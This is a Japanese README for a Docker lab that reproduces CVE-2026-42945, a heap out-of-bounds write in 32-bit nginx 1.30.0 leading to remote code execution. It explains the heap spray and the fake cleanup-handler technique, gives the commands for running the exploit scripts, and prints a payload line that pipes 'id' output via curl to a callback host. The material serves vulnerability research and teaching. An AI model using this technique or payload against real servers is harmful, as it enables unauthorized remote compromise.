
CVE-2026-42945 nginx 32-bit エクスプロイトラボ ASLR 有効
このリポジトリは、nginx 1.30.0 における CVE-2026-42945 を研究するための再現可能な Docker ラボです。脆弱な 32 ビットターゲット、プリミティブトリガー、ラボ支援型の既知アドレス RCE バリデータ、および内部情報を使用しないブルートフォースドライバが含まれています。
証明の境界が重要です:
exploit/trigger_oob.py は、ヒープ OOB 書き込みプリミティブを示します。exploit/lab_known_address.py は、Docker 内で RCE メカニズムを証明しますが、docker exec 経由で /proc/<pid>/maps を読み取るため、ラボ支援型です。exploit/remote_bruteforce.py は、SSH、Docker、/proc、ptrace、既知アドレスのいずれも使用しません。SAFE ヒープページ候補と libc ページ候補をブルートフォースし、外部へのコールバックを唯一の成功シグナルとして扱います。リモートブルートフォース経路は、現在の nginx master の ASLR レイアウトに依然として依存しています。スプレーアドレスが要求される URI セーフなバイトアルファベットで表現できない場合、nginx master プロセスを再起動またはリロードして ASLR を振り直すまで、フルパスは失敗します。既知アドレスバリデータと同様に、フル RCE パスは、QEMU エミュレートされた Docker Desktop ターゲットではなく、ネイティブの x86 Linux Docker ホストで実行する必要があります。
/proc/<pid>/mapsqemu-i386脆弱な 32 ビット nginx ラボをビルドして起動します:
docker compose up -d --build
curl http://127.0.0.1:19331/
制御された OOB 書き込みをトリガーします:
python3 exploit/trigger_oob.py 127.0.0.1:19331 --bytes 8192 --char +
docker logs cve-2026-42945-nginx32 --tail 20
決定的な Docker のみの RCE バリデータを実行します:
python3 exploit/lab_known_address.py --restart-until-safe
内部情報を使用しないブルートフォースドライバを実行します:
python3 exploit/remote_bruteforce.py 127.0.0.1:19331 host.docker.internal \
--shuffle --seed 42945 \
--attempt-delay 0.02 \
--batch-size 5000 --batch-cooldown 10 \
--progress-every 1000
host.docker.internal はコールバックホストとして使用され、nginx worker に埋め込まれたコマンドが id の出力をエクスプロイトスクリプトによって起動されたリスナーに POST できるようにします。Compose ファイルは、Linux Docker エンジンのためにこの名前をマップします。

Compose ターゲットは nginx 1.30.0 を 32 ビットのリリーススタイルバイナリとしてビルドし、127.0.0.1:19331 で起動します。素の GET / は ok を返し、エクスプロイト開始前にターゲットに到達可能であることを示します。

トリガーは、+ バイトで構成されたキャプチャ済み URI セグメントを、脆弱な rewrite に続く set $myvar $1 パスを通じて送信します。+ は NGX_ESCAPE_ARGS によってエスケープされるため、コピーパスは 1 バイトの入力ごとに 3 バイトを書き込みます。スクリプトは、リクエストを送信する前に予想されるオーバーフローサイズを出力します。

既知アドレスバリデータは意図的に支援型です。Docker コンテナから稼働中の worker のヒープと libc マッピングを読み取り、偽の cleanup ハンドラアドレスを計算し、同じワイヤーレベルのエクスプロイトシーケンスを送信して、コールバックを待ちます。uid=65534(nobody) という出力は、nginx worker が id を実行した結果です。このスクリーンショットはネイティブの x86 Docker 実行からのものです。非 x86 の Docker Desktop セットアップでは、スクリプトは代わりに qemu-i386 ネイティブホスト要件で停止する場合があります。

リモートブルートフォーススクリプトは、ラボ限定のアドレス読み取りを排除します。SAFE ヒープページ候補と libc ページ候補を列挙し、成功のオラクルとしてコールバックのみを使用します。コールバックなしでパスを使い果たしても、プリミティブが否定されるわけではありません。通常は、現在の nginx master レイアウトがこのペイロードのアルファベットにとって有利ではないか、ASLR を振り直すために master の再起動/リロードが必要であることを意味します。
エクスプロイトは 3 つの並行リクエストロールを使用します:
/spray はリクエストボディの割り当てを存続させ、偽の ngx_pool_cleanup_t レコードとコールバックコマンドを nginx worker のヒープメモリに配置します。/api/<payload> は脆弱なリライトスクリプトに到達し、被害者リクエストが配置されるまで最終リクエストターミネータを遅延させます。/ は隣接するリクエストプールを作成し、その cleanup ポインタが制御された OOB 書き込みのターゲットになります。破損したリクエストプールが破棄されると、nginx は上書きされた cleanup ポインタをたどります。ラボ RCE パスでは、偽の cleanup ハンドラが system() を指し、そのデータポインタが次を指します:
id|curl -sm3 -d @- http://host.docker.internal:9876/rce
エクスプロイトリスナーは、その POST を唯一の RCE 成功シグナルとして扱います。
docker compose down
このラボは、許可されたセキュリティ検証と教育を目的としています。ラボを隔離したままにし、ラボのポートを信頼できないネットワークに公開せず、所有していない、または明示的なテスト許可がないシステムに対してエクスプロイトを実行しないでください。